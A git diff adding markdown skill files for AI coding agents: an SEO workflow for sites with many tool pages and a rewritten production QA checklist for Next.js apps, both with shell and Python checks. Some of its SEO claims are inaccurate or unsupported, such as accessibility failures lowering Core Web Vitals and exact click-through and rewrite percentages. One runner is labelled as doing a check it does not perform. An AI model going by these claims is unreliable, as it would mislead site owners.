Modifier.fillMaxSize().background(Color.Black), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + + // Chrome Text + Text( + text = "Y2K FUTURE", + fontSize = 48.sp, + fontFamily = FontFamily.SansSerif, // Replace with Syncopate + fontWeight = FontWeight.Black, + style = TextStyle( + // Apply Chrome Gradient to Text + brush = Brush.verticalGradient( + 0.0f to Color.White, + 0.45f to Color(0xFF999999), + 0.5f to Color(0xFF222222), + 0.55f to Color(0xFFCCCCCC), + 1.0f to Color.White + ), + shadow = Shadow(color = Color(0xFF00FFFF), blurRadius = 20f) // Glow + ) + ) + + Spacer(Modifier.height(40.dp)) + + // Neon Button + Box( + modifier = Modifier + .shadow(20.dp, CircleShape, ambientColor = Color(0xFFFF00FF), spotColor = Color(0xFFFF00FF)) + .background(Brush.linearGradient(listOf(Color(0xFF00FFFF), Color(0xFFFF00FF))), CircleShape) + .clickable { } + .padding(horizontal = 40.dp, vertical = 20.dp) + ) { + Text("ENTER CORE", color = Color.White, fontFamily = FontFamily.SansSerif, fontWeight = FontWeight.Bold, fontSize = 20.sp) + } + } + } +} +``` +- Jetpack Compose makes gradient text incredibly easy via `TextStyle(brush = ...)`. +- Provide specific color stops (`0.45f to ...`) to the `verticalGradient` to create the hard reflection line characteristic of 2000s chrome. + +## Do's and Don'ts +- **DO**: Use sparkles (✨) as decorative elements around headers and buttons. +- **DON'T**: Make it minimal. Y2K is fundamentally maximalist and flashy. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/tools-page-seo-optimizer/SKILL.md b/antigravity-awesome-skills/skills/tools-page-seo-optimizer/SKILL.md new file mode 100644 index 00000000..84553528 --- /dev/null +++ b/antigravity-awesome-skills/skills/tools-page-seo-optimizer/SKILL.md @@ -0,0 +1,616 @@ +--- +name: tools-page-seo-optimizer +description: "Framework-agnostic SEO workflow for any site with multiple tool, product, or feature pages. Covers duplicate content, unique meta tags, heading hierarchy, internal linking, URL slugs, E-E-A-T, content registry pattern for scaling 50–500 pages, and blog content strategy for position 50–68 keywords." +category: seo +risk: safe +source: community +source_type: community +author: whoisabhishekadhikari +date_added: "2026-06-19" +tags: [seo, tools-pages, product-pages, duplicate-content, content-registry, meta-tags, internal-linking, url-slugs, e-e-a-t, framework-agnostic] +tools: [claude-code, cursor, codex-cli, gemini-cli, opencode] +version: 1.0.0 +--- + +# Tools Page SEO Optimizer + +You are an expert in technical SEO and content strategy for sites with large collections of tool, product, or feature pages. Your workflow is framework-agnostic — applies to Django, Rails, Laravel, Express, Next.js, Nuxt, Astro, WordPress, and static HTML. + +Derived from a real audit that found 93 of 105 tool pages sharing identical template prose and ranking at average position 68. This skill is the playbook that fixes it. + +--- + +## Quick-Start Decision Tree + +``` +Full audit from scratch? → Run all phases in order +All tool pages rank the same? → Phase 2 (Content Registry) first +Meta titles/descriptions all generic? → Phase 1 (Meta Tags) +Tool pages buried / hard to navigate? → Phase 5 (Internal Linking) +Bad URL slugs? → Phase 6 (URL Slug Hygiene) +Site looks authorless to Google? → Phase 7 (E-E-A-T) +Stuck at position 50–68 on keywords? → Phase 9 (Blog Content Strategy) +Fixes deployed but unsure they're live? → Phase 10 (Live Verification) +``` + +--- + +## Phase 0 — Codebase Reconnaissance + +**Before writing any code**, locate these in the codebase. Names vary by framework — adapt. + +| What to find | Common locations | +|---|---| +| URL routing | `routes.rb`, `urls.py`, `routes/`, `pages/`, `app/` | +| Head / meta template | `_head.html`, `layout.js`, `base.html`, `app.blade.php` | +| Tool/page registry | config file, database seed, JSON, `lib/guides.js`, `data/tools.js` | + +**Answer these before writing a single line:** + +1. How are tool pages generated — static files, database loop, config registry, CMS? +2. Where is the shared template that renders ``, `<meta name="description">`, `<h1>`? +3. Does each tool have its own content fields, or does every tool fall back to the same template prose? +4. Is there a central list of all tool slugs you can iterate over programmatically? + +--- + +## Phase 1 — Meta Titles & Descriptions + +### The core problem + +Every tool page sharing the same `<title>` template with only the tool name swapped in +is the single most common reason tool sites rank poorly. Google treats near-identical titles +as duplicate pages and demotes all of them. + +### Title tag formula + +``` +{Tool Name} | {Specific Outcome} — {Brand} +``` + +| ✅ Good | ❌ Bad | +|---|---| +| `Meta Tag Generator \| Create Perfect SEO Titles Free — MySite` | `Meta Tag Generator - MySite Tools` | +| `Broken Link Finder \| Scan Any Page for Dead URLs — MySite` | `Broken Link Finder - Free Online Tool \| MySite` | + +**Rules:** +- ≤ 60 characters total +- Primary keyword in the first 40 characters +- Every tool has a **unique** title — no two tools share the same one +- Include "Free" where accurate — measurably improves CTR + +### Meta description formula + +``` +{What it does — one action sentence}. {Key differentiator}. {CTA}. +``` + +Example: `Scan any webpage for broken links in seconds. Checks internal and external URLs, +exports results as CSV. Free, no account needed.` + +**Rules:** +- 120–160 characters +- Action verbs: Generate, Scan, Check, Analyze, Convert, Build, Find +- Every tool gets a **custom** description — zero template filler + +### Implementation (any framework) + +```html +<!-- Generic template pattern --> +<title>{{ tool.meta_title | default(tool.name + " | " + site_name) }} + +``` + +### Validation script — run before every deploy + +```python +# validate_meta.py +import json, sys + +tools = json.load(open('data/tools.json')) +errors = [] + +for t in tools: + slug = t.get('slug', '?') + title = t.get('meta_title', '') + desc = t.get('meta_description', '') + if not title: errors.append(f"MISSING TITLE: {slug}") + elif len(title) > 60: errors.append(f"TITLE TOO LONG ({len(title)}): {slug}") + if not desc: errors.append(f"MISSING DESC: {slug}") + elif len(desc) < 120: errors.append(f"DESC TOO SHORT ({len(desc)}): {slug}") + elif len(desc) > 160: errors.append(f"DESC TOO LONG ({len(desc)}): {slug}") + +if errors: + print('\n'.join(errors)); sys.exit(1) +print(f"✅ All {len(tools)} tools passed meta validation") +``` + +--- + +## Phase 2 — Content Registry (The Highest-Leverage Fix) + +**Root cause of poor rankings on tool sites:** 80–95% of tool pages share identical +template prose. Google sees them as thin, near-duplicate pages and ranks none well. +Fix this before anything else. + +### Diagnosis + +```bash +# Find shared prose in your templates — if these strings appear in a shared template +# file, you have the problem +D1=$(grep -rn "powerful tool that helps" templates/ src/ 2>/dev/null | head -5) +[ -n "$D1" ] && echo " ✗ Shared template prose found" || echo " ✓ No shared prose" +D2=$(grep -rn "easy to use" templates/ src/ 2>/dev/null | head -5) +[ -n "$D2" ] && echo " ✗ Template filler found" +``` + +### Registry entry structure (framework-agnostic) + +```yaml +# data/tools/meta-tag-generator.yaml (or JSON, DB columns, JS object — adapt to your stack) +slug: meta-tag-generator +name: Meta Tag Generator +meta_title: "Meta Tag Generator | Create Perfect SEO Titles & Descriptions Free" +meta_description: "Generate optimized title tags and meta descriptions with live character + counters. Enforces Google's 60/160 char limits. Instant, free, no account needed." + +introduction: > + The meta tag generator creates the two most critical on-page SEO elements — + your title tag and meta description — with live character counters that enforce + Google's recommended limits before you publish. [80+ unique words minimum] + +best_practices: + - "Include your primary keyword within the first 40 characters of the title" + - "Write a unique description per page — duplicate descriptions waste crawl budget" + - "Use action verbs in descriptions: Generate, Find, Check, Analyze" + +how_to_steps: + - name: "Enter your page details" + text: "Type your target keyword, page topic, and a brief summary of the content" + - name: "Check the live character counters" + text: "Keep title ≤60 chars and description ≤160 chars" + - name: "Copy and paste the output" + text: "Paste the generated tags into your HTML section" + +faqs: + - q: "Does Google always use my meta description?" + a: "No — Google rewrites descriptions ~63% of the time. Write them anyway for + social shares and some SERPs." + - q: "What happens if my title is over 60 characters?" + a: "Google truncates it with an ellipsis, cutting off your message mid-sentence." + +related_tools: + - og-tag-generator + - schema-markup-generator + - heading-analyzer +``` + +### Minimum viable unique content per tool + +| Field | Minimum | Priority | +|---|---|---| +| `meta_title` | Unique, ≤60 chars | 🔴 Critical | +| `meta_description` | Unique, 120–160 chars | 🔴 Critical | +| `introduction` | 80+ unique words | 🔴 Critical | +| `best_practices` | 3–5 tool-specific items | 🟡 High | +| `how_to_steps` | 3 real steps for THIS tool | 🟡 High | +| `faqs` | 2 tool-specific Q&As | 🟡 High | +| `related_tools` | 2–4 slug references | 🟢 Medium | + +**Rule: complete one tool fully before starting the next.** + +--- + +## Phase 3 — H1 and Heading Hierarchy + +### H1 formula + +``` +{Tool Name} | {Outcome Phrase} +``` + +**Rules:** +- One `

` per page — only the tool name/title +- Must be unique per page + +### Heading hierarchy + +``` +h1 — Tool name (one per page) + h2 — Major sections: "How It Works", "Best Practices", "FAQs", "Related Tools" + h3 — Subsections: individual FAQ items, feature callouts, step headers +``` + +Never skip levels. No h1 → h3 without an h2. + +```bash +# Audit heading hierarchy on a live page +curl -s "https://yourdomain.com/tools/meta-tag-generator" \ + | grep -oE ']*>.*?' +``` + +--- + +## Phase 4 — Accessibility + +Accessibility failures lower Core Web Vitals scores — a direct ranking signal. + +Every icon-only interactive element needs `aria-label`: + +```html + + + +``` + +```bash +# Find icon-only buttons missing aria-label +B=$(grep -rn "/dev/null | grep -v "aria-label" | grep -v ">[A-Za-z]" | head -5) +[ -n "$B" ] && echo " ⚠ Icon buttons missing aria-label:" && echo "$B" || echo " ✓ Buttons have aria-labels" +``` + +--- + +## Phase 5 — Internal Linking + +Internal links between tools are how PageRank flows through your site. A tool with no +inbound internal links is effectively invisible to Google even with great content. + +### Hub-and-Spoke model + +``` +Homepage + └── Category: Keyword Tools + ├── Keyword Density Checker ←→ Keyword Suggestion Tool + └── SERP Preview Tool ←→ Meta Tag Generator + └── Category: Technical SEO + ├── XML Sitemap Visualizer ←→ Robots.txt Creator + └── Robots.txt Creator ←→ Redirect Generator +``` + +### Rules + +- Every tool links **to** at least 2 related tools (use `related_tools` from registry) +- Every tool is linked **from** at least 2 other tools or category pages +- No orphan tools — every tool reachable within 3 clicks from homepage + +```bash +# Orphan detection — tools with too few inbound references +for slug in $(cat data/slugs.txt 2>/dev/null); do + C=$(grep -rl "$slug" templates/ 2>/dev/null | wc -l | tr -d ' ') + [ "$C" -lt 2 ] && echo " ORPHAN RISK: $slug ($C refs)" +done +``` + +### Template implementation + +```html +{% if tool.related_tools %} +
+

Related Tools

+ {% for slug in tool.related_tools %} + {% set rel = get_tool(slug) %} + {{ rel.name }} — {{ rel.tagline }} + {% endfor %} +
+{% endif %} +``` + +--- + +## Phase 6 — URL Slug Hygiene + +| ✅ Good | ❌ Bad | Problem | +|---|---|---| +| `/tools/meta-tag-generator` | `/tools/tool-1` | No keywords | +| `/tools/keyword-density-checker` | `/tools/free-online-keyword-density-checker-tool-free` | Keyword stuffed | +| `/tools/broken-link-finder` | `/tools/brokenLinkFinder` | camelCase | + +**Formula:** `{primary-keyword-phrase}` — lowercase, hyphens, no stop words, no "free" / "online" / "tool" padding. + +```bash +# Audit — list longest slugs (likely stuffed) +curl -s "https://yourdomain.com/sitemap.xml" \ + | grep -oE '[^<]+' | sed 's///' \ + | grep "/tools/" \ + | awk -F'/tools/' '{print length($2), $2}' | sort -n | tail -20 +``` + +If renaming a slug, always 301 redirect old → new and update all internal links. + +--- + +## Phase 7 — E-E-A-T Signals + +Tool sites rank poorly when they look authorless and dateless. + +### Author byline + date (every tool page) + +```html + +``` + +### Trust pillars section + +```html +
+
100% Free — no account, no credit card
+
🔒 Privacy First — your data never leaves your browser
+
Instant Results — processed in under 1 second
+
+``` + +### About / author page + +Create `/about` with: real name, credentials, why you built the tools, contact info. +Link to it from every tool page byline. This is the single highest-impact E-E-A-T fix +for solo-built tool sites. + +--- + +## Phase 8 — Scaling to 100+ Tools + +When the content registry pattern is working for 10–20 tools, the next challenge is +scaling it to 100+ without losing quality or introducing duplicates. + +### Batch completion gate + +Never commit a partial batch. Before every commit touching tool content: + +```bash +# Count tools with introduction content vs total tools +python3 -c " +import json +tools = json.load(open('data/tools.json')) +total = len(tools) +done = sum(1 for t in tools if t.get('introduction','').strip()) +print(f'{done}/{total} tools have introduction content') +if done < total: + missing = [t['slug'] for t in tools if not t.get('introduction','').strip()] + print('Missing:', missing) +" +``` + +Only commit when the count is **100% complete**. A partial batch (e.g. 93/105) means +12 tools still have thin template prose — enough for Google to flag the site as inconsistent. + +### Batch writing order + +Prioritise tools in this order: +1. Tools already receiving impressions in Google Search Console (low-hanging fruit) +2. Tools in your most-linked categories (PageRank concentration) +3. Remaining tools alphabetically + +### Build verification before commit + +```bash +# Confirm build compiles cleanly after batch content additions +npm run build # Next.js / Nuxt +python manage.py check # Django +rails assets:precompile # Rails +# Zero errors = safe to commit +``` + +--- + +## Phase 9 — Blog Content Strategy (Position 50–68 Keywords) + +Tool pages rank well for transactional keywords ("meta tag generator", "check broken links"). +But informational keywords ("how to write meta descriptions", "what is keyword density") sit +at position 50–68 — too deep to get clicks — because tool pages aren't the right content +format for them. Blog posts are. + +### Diagnosis: find your 50–68 keywords + +In Google Search Console → Search Results → filter by Position > 49 AND Position < 69. +These are queries where you have enough authority to rank but the wrong page type is ranking. + +### Blog post targeting formula + +``` +Post title: {Informational keyword} — {Year} Guide +Target keyword: the exact query from GSC +Content length: 1,000–1,500 words +Internal links: link to 2–3 relevant tools from within the post body +``` + +Example mapping: + +| GSC keyword (pos 50–68) | Blog post title | Tool to link | +|---|---|---| +| "how to write meta descriptions" | "How to Write Meta Descriptions That Get Clicks (2025)" | meta-tag-generator | +| "what is keyword density" | "Keyword Density: What It Is and How to Check It" | keyword-density-checker | +| "how to find broken links" | "How to Find and Fix Broken Links on Any Website" | broken-link-finder | +| "xml sitemap best practices" | "XML Sitemap Best Practices for 2025" | xml-sitemap-visualizer | + +### Blog post structure (SEO-optimised) + +``` +H1: {Target keyword} — the exact GSC query, naturally phrased +Intro (100 words): answer the question directly in the first paragraph + H2: What is {topic}? + H2: Why it matters for SEO + H2: How to {action} — step by step + H3: Step 1 + H3: Step 2 + H3: Step 3 + H2: Common mistakes + H2: {Tool name} — try it free ← internal link to your tool +Conclusion: summarise + CTA to the tool +``` + +### Blog post meta requirements + +- `meta_title`: include year where relevant ("2025") — improves CTR on informational queries +- `meta_description`: answer the question in one sentence + "Free tool included" +- `canonical`: must point to the exact blog URL +- `datePublished` + `dateModified` in schema — critical for freshness signals + +### Internal link rule for blog posts + +Every blog post must contain at least **2 contextual inline links** to relevant tools, +not just a "Related Tools" sidebar. Inline links within body copy pass significantly +more PageRank than sidebar links. + +```html + +

Use our meta tag generator to preview +how your title and description appear in Google results before publishing.

+ + + +``` + +--- + +## Phase 10 — Live Deployment Verification + +A fix that compiles cleanly can still fail in production. After every push, verify +the live site — not just the build. + +```bash +seo:verify() { + local D="$1"; local F=0 + for p in "/" "/tools/meta-tag-generator" "/blog" "/category" "/privacy" "/terms"; do + local C=$(curl -so /dev/null -w "%{http_code}" "$D$p") + echo "$C $p"; [ "$C" = "200" ] || ((F++)) + done + local C=$(curl -so /dev/null -w "%{http_code}" "$D/tools/this-slug-does-not-exist-xyz") + echo "Soft 404 check: $C (expect 404)"; [ "$C" = "404" ] || { echo " ✗ Soft 404"; ((F++)); } + curl -s "$D/tools/meta-tag-generator" | grep -qi "canonical" && echo " ✓ Canonical present" || { echo " ✗ Canonical missing"; ((F++)); } + local C2=$(curl -so /dev/null -w "%{http_code}" "$D/favicon.ico") + echo "Favicon: $C2 (expect 200)"; [ "$C2" = "200" ] || { echo " ✗ Favicon missing"; ((F++)); } + local J=$(curl -s "$D/tools/meta-tag-generator" | grep -c "application/ld+json" || true) + [ "$J" -ge 1 ] && echo " ✓ Schema: $J blocks" || { echo " ✗ No schema found"; ((F++)); } + return $F +} +``` + +### Expected results + +| Check | Expected | +|---|---| +| All key pages | 200 | +| Invalid tool slug | 404 | +| `` present | Yes | +| `/favicon.ico` | 200 | +| `application/ld+json` blocks | ≥ 1 per tool page | + +If any check fails — **do not move on**. Diagnose and fix before the next phase. + +--- + +## Phase 11 — Pre-Commit Validation + +```bash +seo:validate() { + python3 validate_meta.py || return 1 + python3 -c " +import json +from collections import Counter +tools = json.load(open('data/tools.json', 'r')) +titles = [t.get('meta_title', '') for t in tools] +dups = [t for t, c in Counter(titles).items() if c > 1 and t] +print(dups) if dups else print('All titles unique') +" + python3 -c " +import json +tools = json.load(open('data/tools.json', 'r')) +missing = [t['slug'] for t in tools if not t.get('introduction', '').strip()] +print(f'Missing intro ({len(missing)}):', missing[:10]) +" +} +``` + +--- + +## Consolidated Runners + +```bash +# Quick check — meta validation + live site verification +seo:quick() { seo:verify "$PROD_URL" && seo:validate; } +# Full check — quick + duplicate title check +seo:full() { seo:quick; } +``` + +--- + +## Master Issue Control Table + +| # | Issue | Severity | Phase | +|---|---|---|---| +| 1 | Duplicate / template prose across tool pages | 🔴 Critical | 2 | +| 2 | Missing or generic meta titles | 🔴 Critical | 1 | +| 3 | Missing or generic meta descriptions | 🔴 Critical | 1 | +| 4 | H1 shared across all tools | 🔴 Critical | 3 | +| 5 | Orphan tool pages (no inbound internal links) | 🟡 High | 5 | +| 6 | Missing related tool links | 🟡 High | 5 | +| 7 | Keyword-stuffed or keywordless URL slugs | 🟡 High | 6 | +| 8 | No author byline or last-updated date | 🟡 High | 7 | +| 9 | Heading hierarchy violations | 🟢 Medium | 3 | +| 10 | Missing aria-labels on icon buttons | 🟢 Medium | 4 | + +--- + +## Best Practices + +| ✅ Do | ❌ Don't | +|-------|----------| +| Write unique meta title + description per tool | Use template prose shared across 80+ pages | +| Complete one tool's content fully before next | Batch-write partial entries across many tools | +| Link 2+ related tools from every tool page | Leave orphan tools with zero internal links | +| Use `{primary-keyword}` in URL slug | Pad slugs with "free" / "online" / "tool" | +| Add author byline + date to every tool page | Show authorless, dateless content | +| Blog about informational keywords (pos 50–68) | Rely on tool pages to rank for "how to" queries | +| 301 redirect old slugs when renaming | Delete old slugs without redirects | + +--- + +## Key Principles + +1. **Duplicate content first, always.** Identical template prose across 80+ pages is the + root cause on almost every underperforming tool site. No other fix matters until this is done. + +2. **Complete one tool fully before the next.** Never write partial entries across many tools. + A half-written registry entry is worse than no entry — it signals thin content at scale. + +3. **Internal links are PageRank distribution.** A tool with great content but zero inbound + internal links is invisible to Google. Every tool needs at least 2 inbound links. + +4. **URL slugs are permanent.** A clean slug outperforms a stuffed one from day one. + Get them right before indexing — renaming later costs ranking momentum even with 301s. + +5. **E-E-A-T is not decoration.** Authorless, dateless tool pages trigger quality rater + guidelines as potential spam. A real name and a real date is the minimum baseline. + +6. **Validate before every commit.** Catching a missing description before deploy is free. + Fixing it after indexing costs weeks. + +--- + +## Related Skills + +- [schema-markup-generator](/skills/schema-markup-generator/SKILL.md) — JSON-LD structured data (HowTo, FAQPage, WebApplication) for tool pages +- [social-metadata-hardening](/skills/social-metadata-hardening/SKILL.md) — OG tags and social sharing previews for tool pages +- [indexing-issue-auditor](/skills/indexing-issue-auditor/SKILL.md) — full crawl audit and redirect mapping after slug changes +- [pagespeed-enhancer](/skills/pagespeed-enhancer/SKILL.md) — Lighthouse / Core Web Vitals audit for tool pages +- [wordpress-centric-high-seo-optimized-blogwriting-skill](/skills/wordpress-centric-high-seo-optimized-blogwriting-skill/SKILL.md) — blog post writing with SEO structure +- [vibecode-production-qa-validator](/skills/vibecode-production-qa-validator/SKILL.md) — end-to-end production QA including deployment verification + +--- + +## When to Use + +This skill is applicable to execute the workflow or actions described in the overview. +Use it whenever the user mentions poor rankings, tools not getting indexed, all tool pages ranking the same, duplicate content warnings, "how do I make each tool page unique", thin content, or Google not ranking tool pages. + +## Limitations + +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. +- Content registry assumes a structured data source (JSON, YAML, DB) — static HTML tool pages will need a migration step first. +- Technical SEO factors (page speed, Core Web Vitals, render blocking) are delegated to the pagespeed-enhancer skill. diff --git a/antigravity-awesome-skills/skills/vibecode-production-qa-validator/SKILL.md b/antigravity-awesome-skills/skills/vibecode-production-qa-validator/SKILL.md index ec40d3e4..8f0f8321 100644 --- a/antigravity-awesome-skills/skills/vibecode-production-qa-validator/SKILL.md +++ b/antigravity-awesome-skills/skills/vibecode-production-qa-validator/SKILL.md @@ -1,238 +1,468 @@ --- name: vibecode-production-qa-validator -description: "End-to-end production QA, build verification, and launch-readiness checklist for fullstack Next.js apps. Covers TypeScript, linting, tests, build, SEO tags, route regression, and sitemap validation." +description: "13-phase production QA for fullstack Next.js apps: build verification, SEO tags, OG images, favicon, route regression, API auth, page speed, lazy load, vulnerability scan, UI/UX cards, error boundaries, database, secure rendering, and cleanup." category: devops risk: safe source: self source_type: self date_added: "2026-05-31" author: Whoisabhishekadhikari -tags: [qa, testing, nextjs, production, build-validation, deployment, seo] -tools: [claude, cursor, gemini, claude-code] -version: 1.0.0 +tags: [qa, nextjs, production, deployment, seo, authentication, api, performance, favicon, cleanup, lighthouse, database, security, ui-ux] +tools: [claude, cursor, gemini, claude-code, opencode] +version: 2.0.0 --- -# Production QA Validator Skill +# Production QA Validator -The end-to-end launch checklist for fullstack Next.js apps. Run this before every production deployment or after any major change. - ---- +Run phases in order. Fix failures before moving to next. ## When to Use -- Use before deploying a vibe-coded or fast-built app to production. -- Use when validating build output, SEO tags, sitemap routes, API routes, git diff cleanliness, and post-deploy smoke checks. -- Use when you need a concrete definition of done for release readiness across code, runtime behavior, and public URLs. - ---- - -## The Full Validation Command Sequence - -Run in order — stop and fix on any failure before continuing: +- Use before shipping or promoting a fullstack Next.js app to production. +- Use after large UI, SEO, auth, API, database, or dependency changes need a concrete launch-readiness pass. +- Use when you need a compact command-driven checklist for build, route, metadata, performance, security, and cleanup checks. ```bash -# 1. TypeScript — catches type errors and broken imports -npx tsc --noEmit - -# 2. Custom validation scripts (if present) -npm run validate 2>/dev/null || echo "No validate script" - -# 3. Canonical/SEO linting (if present) -npm run lint:canon 2>/dev/null || echo "No canon lint" -npm run lint:anchors 2>/dev/null || echo "No anchor lint" -npm run lint:links 2>/dev/null || echo "No link lint" - -# 4. ESLint -npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 - -# 5. Tests -npm test -- --runInBand --passWithNoTests - -# 6. Production build — the final arbiter -npm run build +export PROD_URL="https://yourdomain.com" +export QA_AUTH_HEADER="" # optional: "Bearer eyJ..." +export PAGESPEED_API_KEY="" # optional: for auto PageSpeed API ``` -All 6 must pass before committing. - --- -## Reading the Build Output +## Consolidated Runner ```bash -npm run build 2>&1 | tee build.log - -# Check for errors -grep -i "error\|failed\|cannot" build.log | grep -v "no errors" - -# Check static page count -grep "Static pages\|○\|●" build.log | tail -5 +qa:all() { qa:code && qa:build && qa:routes / /about /contact /privacy /terms /faq /sitemap.xml /robots.txt /api/health && qa:seo && qa:api /api/health /api/tools && qa:git && qa:smoke; } +qa:full() { qa:all && qa:auth && qa:auth:cookies && qa:lazyload && qa:heavyload && qa:vulns && qa:cleanup && qa:ux:cards && qa:ux:boundaries && qa:ux:animation && qa:database && qa:secure; } ``` -### Route symbols explained - -| Symbol | Meaning | Expected? | -|--------|---------|-----------| -| `○` | Static (rendered at build time) | ✓ Good for most pages | -| `●` | SSG (generated from `generateStaticParams`) | ✓ Good for dynamic pages | -| `λ` | Serverless (dynamic, rendered on request) | ✓ APIs and truly dynamic pages only | -| `⊕` | Partial prerender | ✓ Fine | - -If an important SEO page shows `λ` and should be static, add `generateStaticParams` or use `export const dynamic = 'force-static'`. - --- -## SEO Tags in Raw HTML Verification +### Phase 1: Code Integrity -Crawlers don't run JavaScript. Metadata must be in the raw HTML response. +- [ ] `npx tsc --noEmit` +- [ ] `npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0` +- [ ] `npm test -- --runInBand --passWithNoTests` ```bash -# Check a page's metadata -curl -s https://www.yourdomain.com/blog/my-post | grep -i \ - "og:title\|og:description\|og:image\|twitter:card\|canonical\|description" - -# Expected output should include all of these: -# -# -# -# -# -# +qa:code() { npx tsc --noEmit && npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 && npm test -- --runInBand --passWithNoTests; } ``` -If tags are missing from raw HTML: they're added by client-side JavaScript. Fix: move to `export const metadata` or `generateMetadata`. - --- -## Route Regression Testing +### Phase 2: Build Verification -After any major change, verify all critical route types still return 200: +- [ ] `npm run build` succeeds +- [ ] SEO pages show `○`/`●` not `λ` +- [ ] Build log has no errors ```bash -BASE="https://www.yourdomain.com" - -# Core pages -for path in "/" "/about" "/contact" "/privacy" "/terms" "/faq"; do - STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE$path") - echo "$STATUS $BASE$path" -done - -# Sitemaps -for path in "/sitemap.xml" "/robots.txt"; do - STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE$path") - echo "$STATUS $BASE$path" -done - -# Sample dynamic routes (test a few real slugs) -for path in "/tools/keyword-density-checker" "/blog/my-post-slug"; do - STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE$path") - echo "$STATUS $BASE$path" -done +qa:build() { npm run build 2>&1 | tee /tmp/qa-build.log && ! grep -qi "error\|failed" /tmp/qa-build.log; } ``` -All should return `200`. Investigate anything returning `404`, `500`, or `301`/`302` when a direct URL was expected. +| Symbol | Meaning | +|--------|---------| +| `○` | Static | +| `●` | SSG | +| `λ` | Dynamic/serverless | +| `⊕` | Partial prerender | --- -## Sitemap Validation +### Phase 3: API Session & Authentication + +- [ ] Auth endpoints respond (login, session, logout) +- [ ] Protected routes return 401/403 +- [ ] Session cookie: HttpOnly + Secure + SameSite +- [ ] Cookie not expired, Path/Domain correct +- [ ] No rate limiting bypass ```bash -# Fetch and validate sitemap XML -curl -s https://www.yourdomain.com/sitemap.xml | python3 -c " -import sys, xml.etree.ElementTree as ET -try: - ET.parse(sys.stdin) - print('✓ Valid XML') -except Exception as e: - print(f'✗ Invalid XML: {e}') -" - -# Count URLs in sitemap -curl -s https://www.yourdomain.com/sitemap.xml | grep -c "" +qa:auth() { + local F=0 + for ep in /api/auth/login /api/auth/session /api/auth/logout; do + curl -so /dev/null -w "%{http_code}" "$PROD_URL$ep" | grep -q "200\|401" || { echo " ✗ $ep unreachable"; ((F++)); } + done + curl -so /dev/null -w "%{http_code}" "$PROD_URL/api/protected" | grep -q "401\|403" || echo " ⚠ Protected route not denying unauthenticated" + return $F +} +qa:auth:cookies() { + for ep in /api/auth/session /api/auth/login; do + curl -sI "$PROD_URL$ep" | grep -i "^set-cookie:" | while IFS= read -r c; do + echo " $ep: $(echo "$c" | cut -d= -f1)" + echo "$c" | grep -qi "HttpOnly" || echo " ✗ Missing HttpOnly" + echo "$c" | grep -qi "Secure" || echo " ✗ Missing Secure" + echo "$c" | grep -qi "SameSite" || echo " ⚠ Missing SameSite" + done + done +} ``` --- -## API Route Testing +### Phase 4: Route Regression + +- [ ] Core pages, sitemap, robots.txt all 200 +- [ ] URLs use kebab-case, no duplicate slugs +- [ ] robots.txt allows indexing +- [ ] Sitemap XML valid, all URLs resolve 200 ```bash -# Test API endpoints return expected content-type and status -for path in "/api/health" "/api/tools"; do - RESULT=$(curl -s -o /dev/null -w "%{http_code} %{content_type}" "$BASE$path") - echo "$RESULT $path" -done +qa:routes() { local F=0; for p; do local C=$(curl -so /dev/null -w "%{http_code}" "$PROD_URL$p"); echo "$C $p"; [ "$C" = "200" ] || ((F++)); done; return $F; } +qa:robots() { curl -s "$PROD_URL/robots.txt" | grep -qi "Disallow: /$" && echo " ✗ Blocks all crawlers" || echo " ✓ OK"; } +qa:sitemap() { curl -s "$PROD_URL/sitemap.xml" | python3 -c "import sys,xml.etree.ElementTree as ET; ET.parse(sys.stdin); print('✓ Valid XML')"; } ``` --- -## Pre-Commit Git Checklist +### Phase 5: SEO — Tags, Images, Favicon, Slugs -Before committing: +- [ ] `` 30–60 chars, unique per page +- [ ] `<meta name="description">` in raw HTML +- [ ] og:title matches `<title>`, og:url matches canonical +- [ ] og:image ≥ 1200×630px, absolute URL, loads 200 +- [ ] twitter:card = summary_large_image +- [ ] Canonical self-referencing, no duplicates +- [ ] `/favicon.ico` 200, apple-touch-icon present +- [ ] `hreflang` tags if multilingual +- [ ] JSON-LD structured data present +- [ ] Slugs: kebab-case, < 80 chars, no stop words ```bash -# Review what's changed -git diff --stat HEAD - -# Ensure no secrets or local-only files -git diff HEAD | grep -i "password\|secret\|api_key\|localhost:3000" | grep "^+" - -# Confirm no build artifacts are staged -git status | grep -E "\.next|node_modules" -``` - -Good commit message format: -```text -type(scope): brief description - -fix(seo): add canonical tags to all blog pages -feat(tools): add keyword density checker page -refactor(metadata): consolidate OG/Twitter tags into shared helper -chore(cleanup): remove unused utils/oldHelper.js +qa:seo() { + local H=$(curl -s "$PROD_URL"); local F=0 + for t in "og:title" "og:description" "og:image" "twitter:card" "canonical" "description"; do echo "$H" | grep -qi "$t" || { echo " ✗ $t"; ((F++)); }; done + echo "$H" | grep -qi "<title>" || { echo " ✗ <title>"; ((F++)); } + local T=$(echo "$H" | grep -oP '<title>\K[^<]+'); local L=${#T}; [ $L -ge 30 -a $L -le 60 ] || echo " ⚠ Title ${L}chars (target 30-60)" + curl -so /dev/null -w "%{http_code}" "$PROD_URL/favicon.ico" | grep -q 200 || echo " ⚠ No favicon.ico" + return $F +} +qa:seo:ogimage() { + local I=$(curl -s "$PROD_URL" | grep -oP 'og:image" content="\K[^"]+'); [[ "$I" =~ ^http ]] || I="$PROD_URL$I" + curl -so /dev/null -w "%{http_code}" "$I" | grep -q 200 || { echo " ✗ og:image returns non-200"; return 1; } + command -v identify &>/dev/null && curl -s "$I" | identify -format "%wx%h" - 2>/dev/null | grep -qP "12\d{2}x6\d{2}" && echo " ✓ ≥ 1200x630" || echo " ⚠ Install imagemagick to check dimensions" +} ``` --- -## Post-Deployment Smoke Test +### Phase 6: API Route Behavior -Run 5–10 minutes after deployment: +- [ ] Correct status codes + 